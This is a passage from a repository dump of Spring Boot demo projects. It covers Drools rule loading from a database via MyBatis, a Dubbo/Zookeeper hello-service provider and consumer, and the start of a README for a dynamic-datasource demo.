dataSource.setUser(env.getProperty(\"ms.db.username\"));\n        dataSource.setPassword(env.getProperty(\"ms.db.password\"));\n        dataSource.setMaxPoolSize(20);\n        dataSource.setMinPoolSize(5);\n        dataSource.setInitialPoolSize(10);\n        dataSource.setMaxIdleTime(300);\n        dataSource.setAcquireIncrement(5);\n        dataSource.setIdleConnectionTestPeriod(60);\n\n        return dataSource;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_drools/src/main/java/com/jun/plugin/drools/config/MyBatisConfig.java",
    "content": "package com.jun.plugin.drools.config;\nimport org.mybatis.spring.SqlSessionFactoryBean;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\nimport javax.sql.DataSource;\n\n@Configuration\npublic class MyBatisConfig {\n\n\t@Autowired\n\tprivate DataSource dataSource;\n\n\t@Bean(name = \"sqlSessionFactory\")\n\tpublic SqlSessionFactoryBean sqlSessionFactory(ApplicationContext applicationContext) throws Exception {\n\t\tSqlSessionFactoryBean sessionFactory = new SqlSessionFactoryBean();\n\t\tsessionFactory.setDataSource(dataSource);\n\t\t// sessionFactory.setPlugins(new Interceptor[]{new PageInterceptor()});\n\t\tsessionFactory.setMapperLocations(applicationContext.getResources(\"classpath*:mapper/*.xml\"));\n\t\treturn sessionFactory;\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_drools/src/main/java/com/jun/plugin/drools/config/MyBatisRepository.java",
    "content": "package com.jun.plugin.drools.config;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n//@Retention: 定义注解的保留策略，注释类型的注释要保留\n@Retention(RetentionPolicy.RUNTIME)\n//@Target说明了Annotation所修饰的对象范围：Annotation可被用于 packages、types（类、接口、枚举、Annotation类型）、类型成员（方法、构造方法、成员变量、枚举值）、方法参数和本地变量（如循环变量、catch参数）。在Annotation类型的声明中使用了target可更加明晰其修饰的目标。\n//作用：用于描述注解的使用范围（即：被描述的注解可以用在什么地方）\n//取值(ElementType)有：\n//CONSTRUCTOR:用于描述构造器\n//2.FIELD:用于描述域\n//3.LOCAL_VARIABLE:用于描述局部变量\n//4.METHOD:用于描述方法\n//5.PACKAGE:用于描述包\n//6.PARAMETER:用于描述参数\n//7.TYPE:用于描述类、接口(包括注解类型) 或enum声明\n@Target(ElementType.TYPE)\npublic @interface MyBatisRepository {\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_drools/src/main/java/com/jun/plugin/drools/config/MyBatisScannerConfig.java",
    "content": "package com.jun.plugin.drools.config;\n\nimport org.mybatis.spring.mapper.MapperScannerConfigurer;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\n@Configuration\npublic class MyBatisScannerConfig {\n\t@Bean\n\tpublic MapperScannerConfigurer MapperScannerConfigurer() {\n\t\tMapperScannerConfigurer mapperScannerConfigurer = new MapperScannerConfigurer();\n\t\tmapperScannerConfigurer.setBasePackage(\"com.us.drools.dao\");\n\t\tmapperScannerConfigurer.setAnnotationClass(MyBatisRepository.class);\n\t\tmapperScannerConfigurer.setSqlSessionFactoryBeanName(\"sqlSessionFactory\");\n\t\treturn mapperScannerConfigurer;\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_drools/src/main/java/com/jun/plugin/drools/config/TransactionConfig.java",
    "content": "package com.jun.plugin.drools.config;\n\nimport javax.sql.DataSource;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.jdbc.datasource.DataSourceTransactionManager;\nimport org.springframework.transaction.PlatformTransactionManager;\nimport org.springframework.transaction.annotation.TransactionManagementConfigurer;\n\n@Configuration\npublic class TransactionConfig implements TransactionManagementConfigurer{\n\t@Autowired\n\tprivate DataSource dataSource;\n\n\t@Bean(name = \"transactionManager\")\n\t@Override\n\tpublic PlatformTransactionManager annotationDrivenTransactionManager() {\n\t\treturn new DataSourceTransactionManager(dataSource);\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_drools/src/main/java/com/jun/plugin/drools/controller/RulesController.java",
    "content": "package com.jun.plugin.drools.controller;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.PathVariable;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestMethod;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\nimport com.jun.plugin.drools.service.RulesService;\n\n\n/**\n * Created by yangyibo on 16/12/9.\n */\n@Controller\n@RequestMapping(value = \"/rules\")\npublic class RulesController {\n\n    @Autowired\n    private RulesService rulesService;\n\n    @RequestMapping(value =\"/{id}\" ,method = RequestMethod.GET, produces = \"application/json;charset=UTF-8\")\n    @ResponseBody\n    public ResponseEntity<Object> getRule(@PathVariable Integer id) {\n\n        return new ResponseEntity<>(rulesService.getRules(id), HttpStatus.OK);\n    }\n\n    @RequestMapping(value =\"/write/{id}\" ,method = RequestMethod.GET, produces = \"application/json;charset=UTF-8\")\n    @ResponseBody\n    public ResponseEntity<Object> getRuleByWrite(@PathVariable Integer id) {\n\n        return new ResponseEntity<>(rulesService.getRulesWrite(id), HttpStatus.OK);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_drools/src/main/java/com/jun/plugin/drools/dao/RulesDao.java",
    "content": "package com.jun.plugin.drools.dao;\n\nimport com.jun.plugin.drools.bean.Rules;\nimport com.jun.plugin.drools.config.MyBatisRepository;\n\n\n\n/**\n * Created by yangyibo on 16/12/9.\n */\n@MyBatisRepository\npublic interface RulesDao {\n\n     Rules getById (Integer id);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_drools/src/main/java/com/jun/plugin/drools/service/RulesService.java",
    "content": "package com.jun.plugin.drools.service;\n\nimport org.drools.compiler.kie.builder.impl.InternalKieModule;\nimport org.kie.api.KieBase;\nimport org.kie.api.KieServices;\nimport org.kie.api.builder.*;\nimport org.kie.api.runtime.KieContainer;\nimport org.kie.api.runtime.KieSession;\nimport org.kie.internal.io.ResourceFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\n\nimport com.jun.plugin.drools.bean.Message;\nimport com.jun.plugin.drools.bean.ResourceWrapper;\nimport com.jun.plugin.drools.bean.Rules;\nimport com.jun.plugin.drools.dao.RulesDao;\nimport com.jun.plugin.drools.util.DroolsUtils;\n\n/**\n * Created by yangyibo on 16/12/9.\n */\n@Service\npublic class RulesService {\n    @Autowired\n    private RulesDao rulesDao;\n\n    //废弃\n    public String getRules(Integer id) {\n\n        String rules = \"\";\n        Rules ru = rulesDao.getById(id);\n        if (ru != null && ru.getRules() != null) {\n            rules = ru.getRules();\n        }\n        String RULESFILE_NAME = \"rules.drl\";\n        KieServices kieServices = KieServices.Factory.get();\n\n        /**\n         * 指定kjar包\n         */\n        final ReleaseId releaseId = kieServices.newReleaseId(\"com\", \"us\", \"1.0.0\");\n\n        // 创建初始化的kjar\n        InternalKieModule kJar = DroolsUtils.createKieJar(kieServices, releaseId,\n                new ResourceWrapper(ResourceFactory.newByteArrayResource(rules.getBytes()), RULESFILE_NAME));\n        KieRepository repository = kieServices.getRepository();\n        repository.addKieModule(kJar);\n        KieContainer kieContainer = kieServices.newKieContainer(releaseId);\n        KieSession session = kieContainer.newKieSession();\n        Message message = new Message();\n        message.setStatus(\"0\");\n        //同一个fact第一次不命中\n        try {\n            session.insert(message);\n            session.fireAllRules();\n        } catch (Exception e) {\n        } finally {\n            session.dispose();\n        }\n        System.out.println(\"-----first fire end-------\");\n        return \"ok\";\n    }\n\n    public String getRulesWrite(Integer id) {\n        String rules = \"\";\n        Rules ru = rulesDao.getById(id);\n        if (ru != null && ru.getRules() != null) {\n            rules = ru.getRules();\n        }\n\n        KieServices kieServices = KieServices.Factory.get();\n        KieFileSystem kfs = kieServices.newKieFileSystem();\n        kfs.write(\"src/main/resources/rules/rules.drl\", rules.getBytes());\n        KieBuilder kieBuilder = kieServices.newKieBuilder(kfs).buildAll();\n        Results results = kieBuilder.getResults();\n        if (results.hasMessages(org.kie.api.builder.Message.Level.ERROR)) {\n            System.out.println(results.getMessages());\n            throw new IllegalStateException(\"### errors ###\");\n        }\n        KieContainer kieContainer = kieServices.newKieContainer(kieServices.getRepository().getDefaultReleaseId());\n        KieBase kieBase = kieContainer.getKieBase();\n        KieSession ksession = kieBase.newKieSession();\n\n        Message message = new Message();\n        message.setStatus(\"0\");\n        ksession.insert(message);\n        ksession.fireAllRules();\n        return \"ok\";\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_drools/src/main/java/com/jun/plugin/drools/util/ApplicationTest.java",
    "content": "package com.jun.plugin.drools.util;\n\nimport org.drools.compiler.kie.builder.impl.InternalKieModule;\nimport org.kie.api.KieServices;\nimport org.kie.api.builder.KieRepository;\nimport org.kie.api.builder.ReleaseId;\nimport org.kie.api.runtime.KieContainer;\nimport org.kie.api.runtime.KieSession;\nimport org.kie.internal.io.ResourceFactory;\n\nimport com.jun.plugin.drools.bean.Message;\nimport com.jun.plugin.drools.bean.ResourceWrapper;\nimport com.jun.plugin.drools.util.DroolsUtils;\n\n\n\npublic class ApplicationTest {\n    private static final String RULESFILE_NAME = \"rules.drl\";\n\n    /**\n     * 规则文件内容（可以从数据库中加载）\n     */\n    private static final String rules = \"package com.us.drools; import com.us.drools.bean.Message; rule \\\"Hello World \\\" when message:Message (status == \\\"0\\\") then System.out.println(\\\"hello, Drools!\\\"); end\";\n\n    public static void main(String[] args) throws Exception {\n\n        KieServices kieServices = KieServices.Factory.get();\n\n        /**\n         * 指定kjar包\n         */\n        final ReleaseId releaseId = kieServices.newReleaseId(\"com\", \"us\", \"1.0.0\");\n\n        // 创建初始化的kjar\n//        InternalKieModule kJar = DroolsUtils.initKieJar(kieServices, releaseId);\n        InternalKieModule  kJar = DroolsUtils.createKieJar(kieServices, releaseId,\n                new ResourceWrapper(ResourceFactory.newByteArrayResource(rules.getBytes()), RULESFILE_NAME));\n        KieRepository repository = kieServices.getRepository();\n        repository.addKieModule(kJar);\n        KieContainer kieContainer = kieServices.newKieContainer(releaseId);\n        KieSession session = kieContainer.newKieSession();\n        Message message = new Message();\n        message.setStatus(\"0\");\n        //同一个fact第一次不命中\n        try {\n            session.insert(message);\n            session.fireAllRules();\n        } catch (Exception e) {\n        } finally {\n            session.dispose();\n        }\n        System.out.println(\"-----first fire end-------\");\n\n//        //新增一个规则文件\n//          kJar = DroolsUtils.createKieJar(kieServices, releaseId,\n//                new ResourceWrapper(ResourceFactory.newByteArrayResource(rules.getBytes()), RULESFILE_NAME));\n//        repository.addKieModule(kJar);\n//        kieContainer.updateToVersion(releaseId);\n//\n//        //同一个fact再次过滤规则：命中\n//          session = kieContainer.newKieSession();\n//        try {\n//            session.insert(message);\n//            session.fireAllRules();\n//        } catch (Exception e) {\n//        } finally {\n//            session.dispose();\n//        }\n//        System.out.println(\"-----senond fire end-------\");\n\n    }\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_drools/src/main/java/com/jun/plugin/drools/util/DroolsUtils.java",
    "content": "package com.jun.plugin.drools.util;\n\n/**\n * Created by yangyibo on 16/12/8.\n */\nimport java.io.File;\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport org.drools.compiler.kie.builder.impl.InternalKieModule;\nimport org.kie.api.KieServices;\nimport org.kie.api.builder.KieBuilder;\nimport org.kie.api.builder.KieFileSystem;\nimport org.kie.api.builder.ReleaseId;\nimport org.kie.api.builder.model.KieBaseModel;\nimport org.kie.api.builder.model.KieModuleModel;\nimport org.kie.api.builder.model.KieSessionModel;\nimport org.kie.api.conf.EqualityBehaviorOption;\nimport org.kie.api.conf.EventProcessingOption;\nimport org.kie.internal.io.ResourceFactory;\n\nimport com.jun.plugin.drools.bean.ResourceWrapper;\n\n/**\n * 动态生成kjar工具类\n * @author Wujun\n * @version id: DroolsUtils, v 0.1 16/10/26 下午1:58 caicongyang1 Exp $$\n */\npublic class DroolsUtils {\n\n    /**\n     * 默认规则文件所在路径\n     */\n    private static final String RULES_PATH = \"rules\";\n\n    /**\n     * 获取规定目录下的规则文件\n     *\n     * @return\n     * @throws IOException\n     */\n    private static List<File> getRuleFiles() throws IOException {\n        List<File> list = new ArrayList<File>();\n        String filePath = Thread.currentThread().getContextClassLoader().getResource(\"\").getPath();\n        File rootDir = new File(filePath);\n        File[] files = rootDir.listFiles();\n        for (File itemFile : files) {\n            if (itemFile.isDirectory() && itemFile.getName().equals(RULES_PATH)) {\n                for (File f : itemFile.listFiles()) {\n                    if (f.getName().endsWith(\".drl\")) {\n                        list.add(f);\n                    }\n                }\n            }\n        }\n        return list;\n    }\n\n    /**\n     * 初始化一个kjar：把原有的drl包含进新建的kjar中\n     *\n     * @param ks\n     * @param releaseId\n     * @return\n     * @throws IOException\n     */\n    public static InternalKieModule initKieJar(KieServices ks, ReleaseId releaseId) throws IOException {\n        KieFileSystem kfs = createKieFileSystemWithKProject(ks, true);\n        kfs.writePomXML(getPom(releaseId));\n        for (File file : getRuleFiles()) {\n            kfs.write(\"src/main/resources/\" + file.getName(),\n                    ResourceFactory.newClassPathResource(RULES_PATH + File.separator + file.getName(), \"UTF-8\"));\n        }\n        KieBuilder kieBuilder = ks.newKieBuilder(kfs);\n        if (!kieBuilder.buildAll().getResults().getMessages().isEmpty()) {\n            throw new IllegalStateException(\"Error creating KieBuilder.\");\n        }\n        return (InternalKieModule) kieBuilder.getKieModule();\n    }\n\n    public static InternalKieModule createKieJar(KieServices ks, ReleaseId releaseId, ResourceWrapper resourceWrapper) {\n        KieFileSystem kfs = createKieFileSystemWithKProject(ks, true);\n        kfs.writePomXML(getPom(releaseId));\n        kfs.write(\"src/main/resources/\" + resourceWrapper.getTargetResourceName(), resourceWrapper.getResource());\n        KieBuilder kieBuilder = ks.newKieBuilder(kfs);\n        if (!kieBuilder.getResults().getMessages().isEmpty()) {\n            System.out.println(kieBuilder.getResults().getMessages());\n            throw new IllegalStateException(\"Error creating KieBuilder.\");\n        }\n        return (InternalKieModule) kieBuilder.getKieModule();\n    }\n\n    /**\n     * 创建默认的kbase和stateful的kiesession\n     *\n     * @param ks\n     * @param isdefault\n     * @return\n     */\n    public static KieFileSystem createKieFileSystemWithKProject(KieServices ks, boolean isdefault) {\n        KieModuleModel kproj = ks.newKieModuleModel();\n        KieBaseModel kieBaseModel1 = kproj.newKieBaseModel(\"KBase\").setDefault(isdefault)\n                .setEqualsBehavior(EqualityBehaviorOption.EQUALITY).setEventProcessingMode(EventProcessingOption.STREAM);\n        // Configure the KieSession.\n        kieBaseModel1.newKieSessionModel(\"KSession\").setDefault(isdefault)\n                .setType(KieSessionModel.KieSessionType.STATEFUL);\n        KieFileSystem kfs = ks.newKieFileSystem();\n        kfs.writeKModuleXML(kproj.toXML());\n        return kfs;\n    }\n\n    /**\n     * 创建kjar的pom\n     *\n     * @param releaseId\n     * @param dependencies\n     * @return\n     */\n    public static String getPom(ReleaseId releaseId, ReleaseId... dependencies) {\n        String pom = \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\"\n                + \"<project xmlns=\\\"http://maven.apache.org/POM/4.0.0\\\" xmlns:xsi=\\\"http://www.w3.org/2001/XMLSchema-instance\\\"\\n\"\n                + \"         xsi:schemaLocation=\\\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\\\">\\n\"\n                + \"  <modelVersion>4.0.0</modelVersion>\\n\" + \"\\n\" + \"  <groupId>\" + releaseId.getGroupId()\n                + \"</groupId>\\n\" + \"  <artifactId>\" + releaseId.getArtifactId() + \"</artifactId>\\n\" + \"  <version>\"\n                + releaseId.getVersion() + \"</version>\\n\" + \"\\n\";\n        if (dependencies != null && dependencies.length > 0) {\n            pom += \"<dependencies>\\n\";\n            for (ReleaseId dep : dependencies) {\n                pom += \"<dependency>\\n\";\n                pom += \"  <groupId>\" + dep.getGroupId() + \"</groupId>\\n\";\n                pom += \"  <artifactId>\" + dep.getArtifactId() + \"</artifactId>\\n\";\n                pom += \"  <version>\" + dep.getVersion() + \"</version>\\n\";\n                pom += \"</dependency>\\n\";\n            }\n            pom += \"</dependencies>\\n\";\n        }\n        pom += \"</project>\";\n        return pom;\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_drools/src/main/resources/log4j.properties",
    "content": "# Output pattern : date [thread] priority category - message\nlog4j.rootLogger=INFO, Console, R\n\n#Console\nlog4j.appender.Console=org.apache.log4j.ConsoleAppender\nlog4j.appender.Console.layout=org.apache.log4j.PatternLayout\nlog4j.appender.Console.layout.ConversionPattern=%d [%t] %-5p [%c] - %m%n\n\n\nlog4j.appender.R=org.apache.log4j.RollingFileAppender\nlog4j.appender.R.File=logs/cmbms.log\nlog4j.appender.R.MaxFileSize=20MB\nlog4j.appender.R.MaxBackupIndex=30\nlog4j.appender.R.layout=org.apache.log4j.PatternLayout\nlog4j.appender.R.layout.ConversionPattern=%d [%t] %-5p [%c] - %m%n\n\n\n#Project defalult level\nlog4j.logger.com.jun.plugin=INFO\n\n#spring default level\nlog4j.logger.org.springframework=INFO\nlog4j.logger.org.springframework.jdbc=INFO\n\n#apache\nlog4j.logger.org.apache=INFO\n\nlog4j.logger.org.activiti=INFO\nlog4j.logger.org.activiti.engine.impl.persistence.entity=INFO\nlog4j.logger.org.activiti.spring.SpringTransactionInterceptor=ERROR\n\n#mybatis, debug level to see sql\nlog4j.logger.com.jun.plugin.cmbms.dao=DEBUG\nlog4j.logger.com.jun.plugin.workflow.dao=DEBUG\n\n\n\n\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_drools/src/main/resources/mapper/UserDaoMapper.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>  \n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n<mapper namespace=\"com.jun.plugin.drools.dao.RulesDao\">\n\n\t<select id=\"getById\" parameterType=\"Integer\" resultType=\"com.jun.plugin.drools.bean.Rules\">\n\t\tSELECT * FROM rules\n\t\twhere id = #{id}\n\t</select>\n</mapper>"
  },
  {
    "path": "jun_springboot_plugin/springboot_dubbo_zookeeper/common-api/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n\t    <artifactId>springboot_dubbo_zookeeper</artifactId>\n\t    <version>1.0</version>\n    </parent>\n\n    <modelVersion>4.0.0</modelVersion>\n    <artifactId>common-api</artifactId>\n\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_dubbo_zookeeper/common-api/src/main/java/cc/mrbird/common/api/HelloService.java",
    "content": "package cc.mrbird.common.api;\n\npublic interface HelloService {\n    String hello(String message);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_dubbo_zookeeper/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>springboot_dubbo_zookeeper</artifactId>\n    <version>1.0</version>\n    <packaging>pom</packaging>\n\n    <modules>\n        <module>common-api</module>\n        <module>server-provider</module>\n        <module>server-consumer</module>\n    </modules>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.5.14</version>\n        <relativePath/>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n        <project.version>1.0</project.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <!-- dubbo -->\n        <dependency>\n            <groupId>com.alibaba.boot</groupId>\n            <artifactId>dubbo-spring-boot-starter</artifactId>\n            <version>0.2.0</version>\n        </dependency>\n\n        <!-- zookeeper -->\n        <dependency>\n            <groupId>org.apache.zookeeper</groupId>\n            <artifactId>zookeeper</artifactId>\n            <version>3.4.8</version>\n        </dependency>\n        <dependency>\n            <groupId>com.101tec</groupId>\n            <artifactId>zkclient</artifactId>\n            <version>0.10</version>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <configuration>\n                    <source>${java.version}</source>\n                    <target>${java.version}</target>\n                    <encoding>${project.build.sourceEncoding}</encoding>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_dubbo_zookeeper/server-consumer/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n\t    <artifactId>springboot_dubbo_zookeeper</artifactId>\n\t    <version>1.0</version>\n    </parent>\n    <modelVersion>4.0.0</modelVersion>\n    \n   \t<groupId>io.github.wujun728</groupId>\n\t<artifactId>server-consumer</artifactId>\n\t<version>1.0</version>\n\n    <dependencies>\n        <dependency>\n            <groupId>io.github.wujun728</groupId>\n            <artifactId>common-api</artifactId>\n            <version>${project.version}</version>\n        </dependency>\n    </dependencies>\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_dubbo_zookeeper/server-consumer/src/main/java/cc/mrbird/ConsumerApplicaiton.java",
    "content": "package cc.mrbird;\n\nimport com.alibaba.dubbo.config.spring.context.annotation.EnableDubbo;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@EnableDubbo\n@SpringBootApplication\npublic class ConsumerApplicaiton {\n    public static void main(String[] args) {\n        SpringApplication.run(ConsumerApplicaiton.class, args);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_dubbo_zookeeper/server-consumer/src/main/java/cc/mrbird/consumer/controller/HelloController.java",
    "content": "package cc.mrbird.consumer.controller;\n\nimport cc.mrbird.common.api.HelloService;\nimport com.alibaba.dubbo.config.annotation.Reference;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PathVariable;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\npublic class HelloController {\n\n    @Reference\n    private HelloService helloService;\n\n    @GetMapping(\"/hello/{message}\")\n    public String hello(@PathVariable String message) {\n        return this.helloService.hello(message);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_dubbo_zookeeper/server-consumer/src/main/resources/application.yml",
    "content": "server:\n  port: 8081\n\ndubbo:\n  application:\n    # 服务名称，保持唯一\n    name: server-consumer\n    # zookeeper地址，用于从中获取注册的服务\n  registry:\n    address: zookeeper://127.0.0.1:2181\n  protocol:\n    # dubbo协议，固定写法\n    name: dubbo"
  },
  {
    "path": "jun_springboot_plugin/springboot_dubbo_zookeeper/server-provider/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n\t    <artifactId>springboot_dubbo_zookeeper</artifactId>\n\t    <version>1.0</version>\n    </parent>\n    <modelVersion>4.0.0</modelVersion>\n    \n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>server-provider</artifactId>\n\t<version>1.0</version>\n\n    <dependencies>\n        <dependency>\n            <groupId>io.github.wujun728</groupId>\n            <artifactId>common-api</artifactId>\n            <version>${project.version}</version>\n        </dependency>\n    </dependencies>\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_dubbo_zookeeper/server-provider/src/main/java/cc/mrbird/ProviderApplicaiton.java",
    "content": "package cc.mrbird;\n\nimport com.alibaba.dubbo.config.spring.context.annotation.EnableDubbo;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@EnableDubbo\n@SpringBootApplication\npublic class ProviderApplicaiton {\n    public static void main(String[] args) {\n        SpringApplication.run(ProviderApplicaiton.class, args);\n        System.out.println(\"complete\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_dubbo_zookeeper/server-provider/src/main/java/cc/mrbird/provider/service/HelloServiceImpl.java",
    "content": "package cc.mrbird.provider.service;\n\nimport cc.mrbird.common.api.HelloService;\nimport com.alibaba.dubbo.config.annotation.Service;\nimport org.springframework.stereotype.Component;\n\n@Service(interfaceClass = HelloService.class)\n@Component\npublic class HelloServiceImpl implements HelloService {\n    @Override\n    public String hello(String message) {\n        return \"hello,\" + message;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_dubbo_zookeeper/server-provider/src/main/resources/application.yml",
    "content": "server:\n  port: 8080\n\ndubbo:\n  application:\n    # 服务名称，保持唯一\n    name: server-provider\n    # zookeeper地址，用于向其注册服务\n  registry:\n    address: zookeeper://127.0.0.1:2181\n  #暴露服务方式\n  protocol:\n    # dubbo协议，固定写法\n    name: dubbo\n    # 暴露服务端口 （默认是20880，不同的服务提供者端口不能重复）\n    port: 20880"
  },
  {
    "path": "jun_springboot_plugin/springboot_dynamic_datasource/README.md",
    "content": "# spring-boot-demo-dynamic-datasource\n\n> 此 demo 主要演示了 Spring Boot 项目如何通过接口`动态添加/删除`数据源，添加数据源之后如何`动态切换`数据源，然后使用 mybatis 查询切换后的数据源的数据。\n\n## 1. 环境准备\n\n1. 执行 db 目录下的SQL脚本\n2. 在默认数据源下执行 `init.sql`\n3. 在所有数据源分别执行 `user.sql`\n\n## 2. 主要代码\n\n### 2.1.pom.xml\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <artifactId>spring-boot-demo-dynamic-datasource</artifactId>\n  <version>1.0.0-SNAPSHOT</version>\n  <packaging>jar</packaging>\n\n  <name>spring-boot-demo-dynamic-datasource</name>\n  <description>Demo project for Spring Boot</description>\n\n  <parent>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>spring-boot-demo</artifactId>\n    <version>1.0.0-SNAPSHOT</version>\n  </parent>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <java.version>1.8</java.version>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-web</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-aop</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>tk.mybatis</groupId>\n      <artifactId>mapper-spring-boot-starter</artifactId>\n      <version>2.1.5</version>\n    </dependency>\n\n    <dependency>\n      <groupId>mysql</groupId>\n      <artifactId>mysql-connector-java</artifactId>\n      <scope>runtime</scope>\n    </dependency>\n\n    <dependency>\n      <groupId>org.projectlombok</groupId>\n      <artifactId>lombok</artifactId>\n      <optional>true</optional>\n    </dependency>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-test</artifactId>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <finalName>spring-boot-demo-dynamic-datasource</finalName>\n    <plugins>\n      <plugin>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-maven-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </build>\n\n</project>\n```\n\n### 2.2. 基础配置类\n\n- DatasourceConfiguration.java\n\n> 这个类主要是通过 `DataSourceBuilder` 去构建一个我们自定义的数据源，将其放入 Spring 容器里\n\n```java\n/**\n * <p>\n * 数据源配置\n * </p>\n *\n * @author yangkai.shen\n * @date Created in 2019/9/4 10:27\n */\n@Configuration\npublic class DatasourceConfiguration {\n\n    @Bean\n    @ConfigurationProperties(prefix = \"spring.datasource\")\n    public DataSource dataSource() {\n        DataSourceBuilder<?> dataSourceBuilder = DataSourceBuilder.create();\n        